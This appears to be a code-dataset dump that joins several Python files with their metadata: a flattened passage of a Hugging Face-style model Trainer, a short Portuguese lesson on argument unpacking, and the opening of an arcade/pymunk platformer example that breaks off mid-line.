model_init_argcount == 1: model = self.model_init(trial) else: raise RuntimeError("model_init should have 0 or 1 argument.") if model is None: raise RuntimeError("model_init should not return None.") return model def train( self, resume_from_checkpoint: Optional[str] = None, trial: Union["optuna.Trial", Dict[str, Any]] = None, **kwargs, ): if "model_path" in kwargs: resume_from_checkpoint = kwargs.pop("model_path") warnings.warn( "`model_path` is deprecated and will be removed in a future version. Use `resume_from_checkpoint` " "instead.", FutureWarning, ) if len(kwargs) > 0: raise TypeError(f"train() received got unexpected keyword arguments: {', '.join(list(kwargs.keys()))}.") self._hp_search_setup(trial) model_reloaded = False if self.model_init is not None: set_seed(self.args.seed) self.model = self.call_model_init(trial) model_reloaded = True self.optimizer, self.lr_scheduler = None, None if resume_from_checkpoint is not None and os.path.isfile(os.path.join(resume_from_checkpoint, WEIGHTS_NAME)): logger.info(f"Loading model from {resume_from_checkpoint}).") if isinstance(self.model, PreTrainedModel): self.model = self.model.from_pretrained(resume_from_checkpoint) model_reloaded = True else: state_dict = torch.load(os.path.join(resume_from_checkpoint, WEIGHTS_NAME)) self.model.load_state_dict(state_dict) if model_reloaded: if not self.is_model_parallel: self.model = self.model.to(self.args.device) self.model_wrapped = self.model train_dataset_is_sized = isinstance(self.train_dataset, collections.abc.Sized) train_dataloader = self.get_train_dataloader() if train_dataset_is_sized: num_update_steps_per_epoch = len(train_dataloader) // self.args.gradient_accumulation_steps num_update_steps_per_epoch = max(num_update_steps_per_epoch, 1) if self.args.max_steps > 0: max_steps = self.args.max_steps num_train_epochs = self.args.max_steps // num_update_steps_per_epoch + int( self.args.max_steps % num_update_steps_per_epoch > 0 ) else: max_steps = math.ceil(self.args.num_train_epochs * num_update_steps_per_epoch) num_train_epochs = math.ceil(self.args.num_train_epochs) else: max_steps = self.args.max_steps num_train_epochs = 1 num_update_steps_per_epoch = max_steps if self.args.deepspeed: model, optimizer, lr_scheduler = init_deepspeed(self, num_training_steps=max_steps) self.model = model.module self.model_wrapped = model self.deepspeed = model self.optimizer = optimizer self.lr_scheduler = lr_scheduler else: self.create_optimizer_and_scheduler(num_training_steps=max_steps) self.state = TrainerState() self.state.is_hyper_param_search = trial is not None self._load_optimizer_and_scheduler(resume_from_checkpoint) model = self.model_wrapped if self.use_apex: model, self.optimizer = amp.initialize(model, self.optimizer, opt_level=self.args.fp16_opt_level) if self.args.n_gpu > 1: model = torch.nn.DataParallel(model) if self.sharded_dpp: model = ShardedDDP(model, self.optimizer) elif is_sagemaker_distributed_available(): model = DDP(model, device_ids=[dist.get_local_rank()], broadcast_buffers=False) elif self.args.local_rank != -1: if self.args.ddp_find_unused_parameters is not None: find_unused_parameters = self.args.ddp_find_unused_parameters elif isinstance(model, PreTrainedModel): nused_parameters = not getattr(model.config, "gradient_checkpointing", False) else: find_unused_parameters = True model = torch.nn.parallel.DistributedDataParallel( model, device_ids=[self.args.local_rank], output_device=self.args.local_rank, find_unused_parameters=find_unused_parameters, ) if model is not self.model: self.model_wrapped = model if is_torch_tpu_available(): world_size = xm.xrt_world_size() elif self.args.local_rank != -1: world_size = dist.get_world_size() else: world_size = 1 total_train_batch_size = self.args.train_batch_size * self.args.gradient_accumulation_steps * world_size num_examples = ( self.num_examples(train_dataloader) if train_dataset_is_sized else total_train_batch_size * self.args.max_steps ) logger.info("***** Running training *****") logger.info(f" Num examples = {num_examples}") logger.info(f" Num Epochs = {num_train_epochs}") logger.info(f" Instantaneous batch size per device = {self.args.per_device_train_batch_size}") logger.info(f" Total train batch size (w. parallel, distributed & accumulation) = {total_train_batch_size}") logger.info(f" Gradient Accumulation steps = {self.args.gradient_accumulation_steps}") logger.info(f" Total optimization steps = {max_steps}") self.state.epoch = 0 start_time = time.time() epochs_trained = 0 steps_trained_in_current_epoch = 0 if resume_from_checkpoint is not None and os.path.isfile( os.path.join(resume_from_checkpoint, "trainer_state.json") ): self.state = TrainerState.load_from_json(os.path.join(resume_from_checkpoint, "trainer_state.json")) epochs_trained = self.state.global_step // num_update_steps_per_epoch if not self.args.ignore_data_skip: steps_trained_in_current_epoch = self.state.global_step % (num_update_steps_per_epoch) steps_trained_in_current_epoch *= self.args.gradient_accumulation_steps else: steps_trained_in_current_epoch = 0 logger.info(" Continuing training from checkpoint, will skip to saved global_step") logger.info(f" Continuing training from epoch {epochs_trained}") logger.info(f" Continuing training from global step {self.state.global_step}") if not self.args.ignore_data_skip: logger.info( f" Will skip the first {epochs_trained} epochs then the first {steps_trained_in_current_epoch} " "batches in the first epoch." ) self.callback_handler.model = self.model self.callback_handler.optimizer = self.optimizer self.callback_handler.lr_scheduler = self.lr_scheduler self.callback_handler.train_dataloader = train_dataloader self.state.trial_name = self.hp_name(trial) if self.hp_name is not None else None self.state.trial_params = hp_params(trial) if trial is not None else None # to set this after the load. self.state.max_steps = max_steps self.state.num_train_epochs = num_train_epochs self.state.is_local_process_zero = self.is_local_process_zero() self.state.is_world_process_zero = self.is_world_process_zero() # tr_loss is a tensor to avoid synchronization of TPUs through .item() tr_loss = torch.tensor(0.0).to(self.args.device) # _total_loss_scalar is updated everytime .item() has to be called on tr_loss and stores the sum of all losses self._total_loss_scalar = 0.0 self._globalstep_last_logged = self.state.global_step self._total_flos = self.state.total_flos model.zero_grad() self.control = self.callback_handler.on_train_begin(self.args, self.state, self.control) # Skip the first epochs_trained epochs to get the random state of the dataloader at the right point. if not self.args.ignore_data_skip: for epoch in range(epochs_trained): # We just need to begin an iteration to create the randomization of the sampler. for _ in train_dataloader: break for epoch in range(epochs_trained, num_train_epochs): if isinstance(train_dataloader, DataLoader) and isinstance(train_dataloader.sampler, DistributedSampler): train_dataloader.sampler.set_epoch(epoch) if is_torch_tpu_available(): parallel_loader = pl.ParallelLoader(train_dataloader, [self.args.device]).per_device_loader( self.args.device ) epoch_iterator = parallel_loader else: epoch_iterator = train_dataloader # Reset the past mems state at the beginning of each epoch if necessary. if self.args.past_index >= 0: self._past = None steps_in_epoch = len(epoch_iterator) if train_dataset_is_sized else self.args.max_steps self.control = self.callback_handler.on_epoch_begin(self.args, self.state, self.control) for step, inputs in enumerate(epoch_iterator): # Skip past any already trained steps if resuming training if steps_trained_in_current_epoch > 0: steps_trained_in_current_epoch -= 1 continue if (step + 1) % self.args.gradient_accumulation_steps == 0: self.control = self.callback_handler.on_step_begin(self.args, self.state, self.control) if ((step + 1) % self.args.gradient_accumulation_steps != 0) and self.args.local_rank != -1: # Avoid unnecessary DDP synchronization since there will be no backward pass on this example. with model.no_sync(): tr_loss += self.training_step(model, inputs) else: tr_loss += self.training_step(model, inputs) self._total_flos += self.floating_point_ops(inputs) if (step + 1) % self.args.gradient_accumulation_steps == 0 or ( # last step in epoch but step is always smaller than gradient_accumulation_steps steps_in_epoch <= self.args.gradient_accumulation_steps and (step + 1) == steps_in_epoch ): # Gradient clipping if self.args.max_grad_norm is not None and self.args.max_grad_norm > 0 and not self.deepspeed: # deepspeed does its own clipping if self.use_amp: # AMP: gradients need unscaling self.scaler.unscale_(self.optimizer) if hasattr(self.optimizer, "clip_grad_norm"): # Some optimizers (like the sharded optimizer) have a specific way to do gradient clipping self.optimizer.clip_grad_norm(self.args.max_grad_norm) else: # Revert to normal clipping otherwise, handling Apex or full precision torch.nn.utils.clip_grad_norm_( amp.master_params(self.optimizer) if self.use_apex else model.parameters(), self.args.max_grad_norm, ) # Optimizer step if self.deepspeed: self.deepspeed.step() elif is_torch_tpu_available(): xm.optimizer_step(self.optimizer) elif self.use_amp: self.scaler.step(self.optimizer) self.scaler.update() else: self.optimizer.step() self.lr_scheduler.step() model.zero_grad() self.state.global_step += 1 self.state.epoch = epoch + (step + 1) / steps_in_epoch self.control = self.callback_handler.on_step_end(self.args, self.state, self.control) self._maybe_log_save_evaluate(tr_loss, model, trial, epoch) if self.control.should_epoch_stop or self.control.should_training_stop: break self.control = self.callback_handler.on_epoch_end(self.args, self.state, self.control) self._maybe_log_save_evaluate(tr_loss, model, trial, epoch) if self.args.tpu_metrics_debug or self.args.debug: if is_torch_tpu_available(): # tpu-comment: Logging debug metrics for PyTorch/XLA (compile, execute times, ops, etc.) xm.master_print(met.metrics_report()) else: logger.warning( "You enabled PyTorch/XLA debug metrics but you don't have a TPU " "configured. Check your training configuration if this is unexpected." ) if self.control.should_training_stop: break if self.args.past_index and hasattr(self, "_past"): delattr(self, "_past") logger.info("\n\nTraining completed. Do not forget to share your model on huggingface.co/models =)\n\n") if self.args.load_best_model_at_end and self.state.best_model_checkpoint is not None: logger.info( f"Loading best model from {self.state.best_model_checkpoint} (score: {self.state.best_metric})." ) if isinstance(self.model, PreTrainedModel): self.model = self.model.from_pretrained(self.state.best_model_checkpoint) if not self.is_model_parallel: self.model = self.model.to(self.args.device) else: state_dict = torch.load(os.path.join(self.state.best_model_checkpoint, WEIGHTS_NAME)) self.model.load_state_dict(state_dict) if self.deepspeed: self.deepspeed.load_checkpoint( self.state.best_model_checkpoint, load_optimizer_states=False, load_lr_scheduler_states=False ) metrics = speed_metrics("train", start_time, self.state.max_steps) if self._total_flos is not None: self.store_flos() metrics["total_flos"] = self.state.total_flos self.log(metrics) self.control = self.callback_handler.on_train_end(self.args, self.state, self.control) self._total_loss_scalar += tr_loss.item() return TrainOutput(self.state.global_step, self._total_loss_scalar / self.state.global_step, metrics) def _maybe_log_save_evaluate(self, tr_loss, model, trial, epoch): if self.control.should_log: logs: Dict[str, float] = {} tr_loss_scalar = tr_loss.item() tr_loss -= tr_loss logs["loss"] = round(tr_loss_scalar / (self.state.global_step - self._globalstep_last_logged), 4) logs["learning_rate"] = ( self.lr_scheduler.get_last_lr()[0] if version.parse(torch.__version__) >= version.parse("1.4") else self.lr_scheduler.get_lr()[0] ) self._total_loss_scalar += tr_loss_scalar self._globalstep_last_logged = self.state.global_step self.log(logs) metrics = None if self.control.should_evaluate: metrics = self.evaluate() self._report_to_hp_search(trial, epoch, metrics) if self.control.should_save: self._save_checkpoint(model, trial, metrics=metrics) self.control = self.callback_handler.on_save(self.args, self.state, self.control) def _save_checkpoint(self, model, trial, metrics=None): assert _model_unwrap(model) is self.model, "internal model should be a reference to self.model" checkpoint_folder = f"{PREFIX_CHECKPOINT_DIR}-{self.state.global_step}" if self.hp_search_backend is not None and trial is not None: if self.hp_search_backend == HPSearchBackend.OPTUNA: run_id = trial.number else: from ray import tune run_id = tune.get_trial_id() run_name = self.hp_name(trial) if self.hp_name is not None else f"run-{run_id}" output_dir = os.path.join(self.args.output_dir, run_name, checkpoint_folder) else: output_dir = os.path.join(self.args.output_dir, checkpoint_folder) self.store_flos() self.save_model(output_dir) if self.deepspeed: self.deepspeed.save_checkpoint(output_dir) if self.sharded_dpp: self.optimizer.consolidate_state_dict() if is_torch_tpu_available(): xm.rendezvous("saving_optimizer_states") xm.save(self.optimizer.state_dict(), os.path.join(output_dir, "optimizer.pt")) with warnings.catch_warnings(record=True) as caught_warnings: xm.save(self.lr_scheduler.state_dict(), os.path.join(output_dir, "scheduler.pt")) reissue_pt_warnings(caught_warnings) elif self.is_world_process_zero() and not self.deepspeed: torch.save(self.optimizer.state_dict(), os.path.join(output_dir, "optimizer.pt")) with warnings.catch_warnings(record=True) as caught_warnings: torch.save(self.lr_scheduler.state_dict(), os.path.join(output_dir, "scheduler.pt")) reissue_pt_warnings(caught_warnings) if metrics is not None and self.args.metric_for_best_model is not None: metric_to_check = self.args.metric_for_best_model if not metric_to_check.startswith("eval_"): metric_to_check = f"eval_{metric_to_check}" metric_value = metrics[metric_to_check] operator = np.greater if self.args.greater_is_better else np.less if ( self.state.best_metric is None or self.state.best_model_checkpoint is None or operator(metric_value, self.state.best_metric) ): self.state.best_metric = metric_value self.state.best_model_checkpoint = output_dir if self.is_world_process_zero(): self.state.save_to_json(os.path.join(output_dir, "trainer_state.json")) if self.is_world_process_zero(): self._rotate_checkpoints(use_mtime=True) def _load_optimizer_and_scheduler(self, checkpoint): if checkpoint is None: return if os.path.isfile(os.path.join(checkpoint, "optimizer.pt")) and os.path.isfile( os.path.join(checkpoint, "scheduler.pt") ): if is_torch_tpu_available(): optimizer_state = torch.load(os.path.join(checkpoint, "optimizer.pt"), map_location="cpu") with warnings.catch_warnings(record=True) as caught_warnings: lr_scheduler_state = torch.load(os.path.join(checkpoint, "scheduler.pt"), map_location="cpu") reissue_pt_warnings(caught_warnings) xm.send_cpu_data_to_device(optimizer_state, self.args.device) xm.send_cpu_data_to_device(lr_scheduler_state, self.args.device) self.optimizer.load_state_dict(optimizer_state) self.lr_scheduler.load_state_dict(lr_scheduler_state) else: self.optimizer.load_state_dict( torch.load(os.path.join(checkpoint, "optimizer.pt"), map_location=self.args.device) ) with warnings.catch_warnings(record=True) as caught_warnings: self.lr_scheduler.load_state_dict(torch.load(os.path.join(checkpoint, "scheduler.pt"))) reissue_pt_warnings(caught_warnings) if self.deepspeed: self.deepspeed.load_checkpoint(checkpoint, load_optimizer_states=True, load_lr_scheduler_states=True) def hyperparameter_search( self, hp_space: Optional[Callable[["optuna.Trial"], Dict[str, float]]] = None, compute_objective: Optional[Callable[[Dict[str, float]], float]] = None, n_trials: int = 20, direction: str = "minimize", backend: Optional[Union["str", HPSearchBackend]] = None, hp_name: Optional[Callable[["optuna.Trial"], str]] = None, **kwargs, ) -> BestRun: if backend is None: backend = default_hp_search_backend() if backend is None: raise RuntimeError( "At least one of optuna or ray should be installed. " "To install optuna run `pip install optuna`." "To install ray run `pip install ray[tune]`." ) backend = HPSearchBackend(backend) if backend == HPSearchBackend.OPTUNA and not is_optuna_available(): raise RuntimeError("You picked the optuna backend, but it is not installed. Use `pip install optuna`.") if backend == HPSearchBackend.RAY and not is_ray_tune_available(): raise RuntimeError( "You picked the Ray Tune backend, but it is not installed. Use `pip install 'ray[tune]'`." ) self.hp_search_backend = backend if self.model_init is None: raise RuntimeError( "To use hyperparameter search, you need to pass your model through a model_init function." ) self.hp_space = default_hp_space[backend] if hp_space is None else hp_space self.hp_name = hp_name self.compute_objective = default_compute_objective if compute_objective is None else compute_objective run_hp_search = run_hp_search_optuna if backend == HPSearchBackend.OPTUNA else run_hp_search_ray best_run = run_hp_search(self, n_trials, direction, **kwargs) self.hp_search_backend = None return best_run def log(self, logs: Dict[str, float]) -> None: if self.state.epoch is not None: logs["epoch"] = round(self.state.epoch, 2) output = {**logs, **{"step": self.state.global_step}} self.state.log_history.append(output) self.control = self.callback_handler.on_log(self.args, self.state, self.control, logs) def _prepare_inputs(self, inputs: Dict[str, Union[torch.Tensor, Any]]) -> Dict[str, Union[torch.Tensor, Any]]: for k, v in inputs.items(): if isinstance(v, torch.Tensor): inputs[k] = v.to(self.args.device) if self.args.past_index >= 0 and self._past is not None: inputs["mems"] = self._past return inputs def training_step(self, model: nn.Module, inputs: Dict[str, Union[torch.Tensor, Any]]) -> torch.Tensor: model.train() inputs = self._prepare_inputs(inputs) if self.use_amp: with autocast(): loss = self.compute_loss(model, inputs) else: loss = self.compute_loss(model, inputs) if self.args.n_gpu > 1: loss = loss.mean() if self.args.gradient_accumulation_steps > 1: loss = loss / self.args.gradient_accumulation_steps if self.use_amp: self.scaler.scale(loss).backward() elif self.use_apex: with amp.scale_loss(loss, self.optimizer) as scaled_loss: scaled_loss.backward() elif self.deepspeed: self.deepspeed.backward(loss) else: loss.backward() return loss.detach() def compute_loss(self, model, inputs, return_outputs=False): if self.label_smoother is not None and "labels" in inputs: labels = inputs.pop("labels") else: labels = None outputs = model(**inputs) if self.args.past_index >= 0: self._past = outputs[self.args.past_index] if labels is not None: loss = self.label_smoother(outputs, labels) else: loss = outputs["loss"] if isinstance(outputs, dict) else outputs[0] return (loss, outputs) if return_outputs else loss def is_local_process_zero(self) -> bool: if is_torch_tpu_available(): return xm.is_master_ordinal(local=True) else: return self.args.local_rank in [-1, 0] def is_world_process_zero(self) -> bool: if is_torch_tpu_available(): return xm.is_master_ordinal(local=False) else: return self.args.local_rank == -1 or dist.get_rank() == 0 def save_model(self, output_dir: Optional[str] = None): if is_torch_tpu_available(): self._save_tpu(output_dir) elif self.is_world_process_zero(): self._save(output_dir) # If on sagemaker and we are saving the main model (not a checkpoint so output_dir=None), save a copy to # SM_MODEL_DIR for easy deployment. if output_dir is None and os.getenv("SM_MODEL_DIR") is not None: self.save_model(output_dir=os.getenv("SM_MODEL_DIR")) def _save_tpu(self, output_dir: Optional[str] = None): output_dir = output_dir if output_dir is not None else self.args.output_dir logger.info("Saving model checkpoint to %s", output_dir) if xm.is_master_ordinal(): os.makedirs(output_dir, exist_ok=True) torch.save(self.args, os.path.join(output_dir, "training_args.bin")) # Save a trained model and configuration using `save_pretrained()`. # They can then be reloaded using `from_pretrained()` xm.rendezvous("saving_checkpoint") if not isinstance(self.model, PreTrainedModel): logger.info("Trainer.model is not a `PreTrainedModel`, only saving its state dict.") state_dict = self.model.state_dict() xm.save(state_dict, os.path.join(output_dir, WEIGHTS_NAME)) else: self.model.save_pretrained(output_dir) if self.tokenizer is not None and self.is_world_process_zero(): self.tokenizer.save_pretrained(output_dir) def _save(self, output_dir: Optional[str] = None): output_dir = output_dir if output_dir is not None else self.args.output_dir os.makedirs(output_dir, exist_ok=True) logger.info("Saving model checkpoint to %s", output_dir) # Save a trained model and configuration using `save_pretrained()`. # They can then be reloaded using `from_pretrained()` if not isinstance(self.model, PreTrainedModel): logger.info("Trainer.model is not a `PreTrainedModel`, only saving its state dict.") state_dict = self.model.state_dict() torch.save(state_dict, os.path.join(output_dir, WEIGHTS_NAME)) else: self.model.save_pretrained(output_dir) if self.tokenizer is not None and self.is_world_process_zero(): self.tokenizer.save_pretrained(output_dir) # Good practice: save your training arguments together with the trained model torch.save(self.args, os.path.join(output_dir, "training_args.bin")) def store_flos(self): # Storing the number of floating-point operations that went into the model if self._total_flos is not None: if self.args.local_rank != -1: self.state.total_flos = distributed_broadcast_scalars([self._total_flos]).sum().item() else: self.state.total_flos = self._total_flos def _sorted_checkpoints(self, checkpoint_prefix=PREFIX_CHECKPOINT_DIR, use_mtime=False) -> List[str]: ordering_and_checkpoint_path = [] glob_checkpoints = [str(x) for x in Path(self.args.output_dir).glob(f"{checkpoint_prefix}-*")] for path in glob_checkpoints: if use_mtime: ordering_and_checkpoint_path.append((os.path.getmtime(path), path)) else: regex_match = re.match(f".*{checkpoint_prefix}-([0-9]+)", path) if regex_match and regex_match.groups(): ordering_and_checkpoint_path.append((int(regex_match.groups()[0]), path)) checkpoints_sorted = sorted(ordering_and_checkpoint_path) checkpoints_sorted = [checkpoint[1] for checkpoint in checkpoints_sorted] # Make sure we don't delete the best model. if self.state.best_model_checkpoint is not None: best_model_index = checkpoints_sorted.index(str(Path(self.state.best_model_checkpoint))) checkpoints_sorted[best_model_index], checkpoints_sorted[-1] = ( checkpoints_sorted[-1], checkpoints_sorted[best_model_index], ) return checkpoints_sorted def _rotate_checkpoints(self, use_mtime=False) -> None: if self.args.save_total_limit is None or self.args.save_total_limit <= 0: return checkpoints_sorted = self._sorted_checkpoints(use_mtime=use_mtime) if len(checkpoints_sorted) <= self.args.save_total_limit: return number_of_checkpoints_to_delete = max(0, len(checkpoints_sorted) - self.args.save_total_limit) checkpoints_to_be_deleted = checkpoints_sorted[:number_of_checkpoints_to_delete] for checkpoint in checkpoints_to_be_deleted: logger.info("Deleting older checkpoint [{}] due to args.save_total_limit".format(checkpoint)) shutil.rmtree(checkpoint) def evaluate( self, eval_dataset: Optional[Dataset] = None, ignore_keys: Optional[List[str]] = None, metric_key_prefix: str = "eval", ) -> Dict[str, float]: if eval_dataset is not None and not isinstance(eval_dataset, collections.abc.Sized): raise ValueError("eval_dataset must implement __len__") eval_dataloader = self.get_eval_dataloader(eval_dataset) start_time = time.time() output = self.prediction_loop( eval_dataloader, description="Evaluation", prediction_loss_only=True if self.compute_metrics is None else None, ignore_keys=ignore_keys, metric_key_prefix=metric_key_prefix, ) n_samples = len(eval_dataset if eval_dataset is not None else self.eval_dataset) output.metrics.update(speed_metrics(metric_key_prefix, start_time, n_samples)) self.log(output.metrics) if self.args.tpu_metrics_debug or self.args.debug: xm.master_print(met.metrics_report()) self.control = self.callback_handler.on_evaluate(self.args, self.state, self.control, output.metrics) return output.metrics def predict( self, test_dataset: Dataset, ignore_keys: Optional[List[str]] = None, metric_key_prefix: str = "eval" ) -> PredictionOutput: if test_dataset is not None and not isinstance(test_dataset, collections.abc.Sized): raise ValueError("test_dataset must implement __len__") test_dataloader = self.get_test_dataloader(test_dataset) start_time = time.time() output = self.prediction_loop( test_dataloader, description="Prediction", ignore_keys=ignore_keys, metric_key_prefix=metric_key_prefix ) output.metrics.update(speed_metrics(metric_key_prefix, start_time, len(test_dataset))) return output def prediction_loop( self, dataloader: DataLoader, description: str, prediction_loss_only: Optional[bool] = None, ignore_keys: Optional[List[str]] = None, metric_key_prefix: str = "eval", ) -> PredictionOutput: if not isinstance(dataloader.dataset, collections.abc.Sized): raise ValueError("dataset must implement __len__") prediction_loss_only = ( prediction_loss_only if prediction_loss_only is not None else self.args.prediction_loss_only ) model = self.model if self.args.n_gpu > 1: model = torch.nn.DataParallel(model) # inside a DistributedDataParallel as we'll be under `no_grad` anyways. batch_size = dataloader.batch_size num_examples = self.num_examples(dataloader) logger.info("***** Running %s *****", description) logger.info(" Num examples = %d", num_examples) logger.info(" Batch size = %d", batch_size) losses_host: torch.Tensor = None preds_host: Union[torch.Tensor, List[torch.Tensor]] = None labels_host: Union[torch.Tensor, List[torch.Tensor]] = None world_size = 1 if is_torch_tpu_available(): world_size = xm.xrt_world_size() elif self.args.local_rank != -1: world_size = dist.get_world_size() world_size = max(1, world_size) eval_losses_gatherer = DistributedTensorGatherer(world_size, num_examples, make_multiple_of=batch_size) if not prediction_loss_only: preds_gatherer = DistributedTensorGatherer(world_size, num_examples) labels_gatherer = DistributedTensorGatherer(world_size, num_examples) model.eval() if is_torch_tpu_available(): dataloader = pl.ParallelLoader(dataloader, [self.args.device]).per_device_loader(self.args.device) if self.args.past_index >= 0: self._past = None self.callback_handler.eval_dataloader = dataloader for step, inputs in enumerate(dataloader): loss, logits, labels = self.prediction_step(model, inputs, prediction_loss_only, ignore_keys=ignore_keys) if loss is not None: losses = loss.repeat(batch_size) losses_host = losses if losses_host is None else torch.cat((losses_host, losses), dim=0) if logits is not None: preds_host = logits if preds_host is None else nested_concat(preds_host, logits, padding_index=-100) if labels is not None: labels_host = labels if labels_host is None else nested_concat(labels_host, labels, padding_index=-100) self.control = self.callback_handler.on_prediction_step(self.args, self.state, self.control) if self.args.eval_accumulation_steps is not None and (step + 1) % self.args.eval_accumulation_steps == 0: eval_losses_gatherer.add_arrays(self._gather_and_numpify(losses_host, "eval_losses")) if not prediction_loss_only: preds_gatherer.add_arrays(self._gather_and_numpify(preds_host, "eval_preds")) labels_gatherer.add_arrays(self._gather_and_numpify(labels_host, "eval_label_ids")) losses_host, preds_host, labels_host = None, None, None if self.args.past_index and hasattr(self, "_past"): delattr(self, "_past") eval_losses_gatherer.add_arrays(self._gather_and_numpify(losses_host, "eval_losses")) if not prediction_loss_only: preds_gatherer.add_arrays(self._gather_and_numpify(preds_host, "eval_preds")) labels_gatherer.add_arrays(self._gather_and_numpify(labels_host, "eval_label_ids")) eval_loss = eval_losses_gatherer.finalize() preds = preds_gatherer.finalize() if not prediction_loss_only else None label_ids = labels_gatherer.finalize() if not prediction_loss_only else None if self.compute_metrics is not None and preds is not None and label_ids is not None: metrics = self.compute_metrics(EvalPrediction(predictions=preds, label_ids=label_ids)) else: metrics = {} if eval_loss is not None: metrics[f"{metric_key_prefix}_loss"] = eval_loss.mean().item() for key in list(metrics.keys()): if not key.startswith(f"{metric_key_prefix}_"): metrics[f"{metric_key_prefix}_{key}"] = metrics.pop(key) return PredictionOutput(predictions=preds, label_ids=label_ids, metrics=metrics) def _gather_and_numpify(self, tensors, name): if tensors is None: return if is_torch_tpu_available(): tensors = nested_xla_mesh_reduce(tensors, name) elif self.args.local_rank != -1: tensors = distributed_concat(tensors) return nested_numpify(tensors) def prediction_step( self, model: nn.Module, inputs: Dict[str, Union[torch.Tensor, Any]], prediction_loss_only: bool, ignore_keys: Optional[List[str]] = None, ) -> Tuple[Optional[float], Optional[torch.Tensor], Optional[torch.Tensor]]: has_labels = all(inputs.get(k) is not None for k in self.label_names) inputs = self._prepare_inputs(inputs) if ignore_keys is None: if hasattr(self.model, "config"): ignore_keys = getattr(self.model.config, "keys_to_ignore_at_inference", []) else: ignore_keys = [] with torch.no_grad(): if has_labels: loss, outputs = self.compute_loss(model, inputs, return_outputs=True) loss = loss.mean().detach() if isinstance(outputs, dict): logits = tuple(v for k, v in outputs.items() if k not in ignore_keys + ["loss"]) else: logits = outputs[1:] else: loss = None if self.use_amp: with autocast(): outputs = model(**inputs) else: outputs = model(**inputs) if isinstance(outputs, dict): logits = tuple(v for k, v in outputs.items() if k not in ignore_keys) else: logits = outputs if self.args.past_index >= 0: self._past = outputs[self.args.past_index - 1] if prediction_loss_only: return (loss, None, None) logits = nested_detach(logits) if len(logits) == 1: logits = logits[0] if has_labels: labels = nested_detach(tuple(inputs.get(name) for name in self.label_names)) if len(labels) == 1: labels = labels[0] else: labels = None return (loss, logits, labels) def floating_point_ops(self, inputs: Dict[str, Union[torch.Tensor, Any]]): if hasattr(self.model, "floating_point_ops"): return self.model.floating_point_ops(inputs) else: return 0
true
true
f73d7dcdd2b75c3e2d601b0bc9f55544bdb55821
277
py
Python
excript/aulas/aula95_desempacotar.py
victorers1/anotacoes_curso_python
c4ef56bcfc7e3baa3944fc2962e8217c6d720b0e
[ "MIT" ]
null
null
null
excript/aulas/aula95_desempacotar.py
victorers1/anotacoes_curso_python
c4ef56bcfc7e3baa3944fc2962e8217c6d720b0e
[ "MIT" ]
null
null
null
excript/aulas/aula95_desempacotar.py
victorers1/anotacoes_curso_python
c4ef56bcfc7e3baa3944fc2962e8217c6d720b0e
[ "MIT" ]
null
null
null
#Aula 95 - Exemplo de desempacotamento lista = [11, 10, 12] tupla = 11, 10, 12 def func(a, b, c): print(a) print(b) print(c) print(30*'-') lista.sort() func(*lista) l = [*tupla] #Ou l = list(tupla) l.sort() func(*l) func(**dict(zip(("b", "a", "c"), tupla)))
16.294118
41
0.552347
lista = [11, 10, 12] tupla = 11, 10, 12 def func(a, b, c): print(a) print(b) print(c) print(30*'-') lista.sort() func(*lista) l = [*tupla] l.sort() func(*l) func(**dict(zip(("b", "a", "c"), tupla)))
true
true
f73d7ddf0b297c9a7d70e6d1a60d749ab20bdc40
27
py
Python
nntools/__init__.py
ClementPla/NNTools
61562be2d931a7f720ceee1bd91a37a2b9a329af
[ "MIT" ]
null
null
null
nntools/__init__.py
ClementPla/NNTools
61562be2d931a7f720ceee1bd91a37a2b9a329af
[ "MIT" ]
null
null
null
nntools/__init__.py
ClementPla/NNTools
61562be2d931a7f720ceee1bd91a37a2b9a329af
[ "MIT" ]
null
null
null
from .utils.const import *
13.5
26
0.740741
from .utils.const import *
true
true
f73d7df910c1012f1dd56922ca0caae27182a5de
17,473
py
Python
doc/tutorials/pymunk_platformer/pymunk_demo_platformer_11.py
LiorAvrahami/arcade
fce254a9eb89629de1f99d57a63759a2953184e9
[ "MIT" ]
1
2021-03-04T14:02:29.000Z
2021-03-04T14:02:29.000Z
doc/tutorials/pymunk_platformer/pymunk_demo_platformer_11.py
LiorAvrahami/arcade
fce254a9eb89629de1f99d57a63759a2953184e9
[ "MIT" ]
1
2019-08-11T18:47:27.000Z
2019-08-12T03:02:11.000Z
doc/tutorials/pymunk_platformer/pymunk_demo_platformer_11.py
LiorAvrahami/arcade
fce254a9eb89629de1f99d57a63759a2953184e9
[ "MIT" ]
null
null
null
""" Example of Pymunk Physics Engine Platformer """ import math from typing import Optional import arcade SCREEN_TITLE = "PyMunk Platformer" # How big are our image tiles? SPRITE_IMAGE_SIZE = 128 # Scale sprites up or down SPRITE_SCALING_PLAYER = 0.5 SPRITE_SCALING_TILES = 0.5 # Scaled sprite size for tiles SPRITE_SIZE = int(SPRITE_IMAGE_SIZE * SPRITE_SCALING_PLAYER) # Size of grid to show on screen, in number of tiles SCREEN_GRID_WIDTH = 25 SCREEN_GRID_HEIGHT = 15 # Size of screen to show, in pixels SCREEN_WIDTH = SPRITE_SIZE * SCREEN_GRID_WIDTH SCREEN_HEIGHT = SPRITE_SIZE * SCREEN_GRID_HEIGHT # --- Physics forces. Higher number, faster accelerating. # Gravity GRAVITY = 1500 # Damping - Amount of speed lost per second DEFAULT_DAMPING = 1.0 PLAYER_DAMPING = 0.4 # Friction between objects PLAYER_FRICTION = 1.0 WALL_FRICTION = 0.7 DYNAMIC_ITEM_FRICTION = 0.6 # Mass (defaults to 1) PLAYER_MASS = 2.0 # Keep player from going too fast PLAYER_MAX_HORIZONTAL_SPEED = 450 PLAYER_MAX_VERTICAL_SPEED = 1600 # Force applied while on the ground PLAYER_MOVE_FORCE_ON_GROUND = 8000 # Force applied when moving left/right in the air PLAYER_MOVE_FORCE_IN_AIR = 900 # Strength of a jump PLAYER_JUMP_IMPULSE = 1800 # Close enough to not-moving to have the animation go to idle. DEAD_ZONE = 0.1 # Constants used to track if the player is facing left or right RIGHT_FACING = 0 LEFT_FACING = 1 # How many pixels to move before we change the texture in the walking animation DISTANCE_TO_CHANGE_TEXTURE = 20 # How much force to put on the bullet BULLET_MOVE_FORCE = 4500 # Mass of the bullet BULLET_MASS = 0.1 # Make bullet less affected by gravity BULLET_GRAVITY = 300 class PlayerSprite(arcade.Sprite): """ Player Sprite """ def __init__(self): """ Init """ # Let parent initialize super().__init__() # Set our scale self.scale = SPRITE_SCALING_PLAYER # Images from Kenney.nl's Character pack # main_path = ":resources:images/animated_characters/female_adventurer/femaleAdventurer" main_path = ":resources:images/animated_characters/female_person/femalePerson" # main_path = 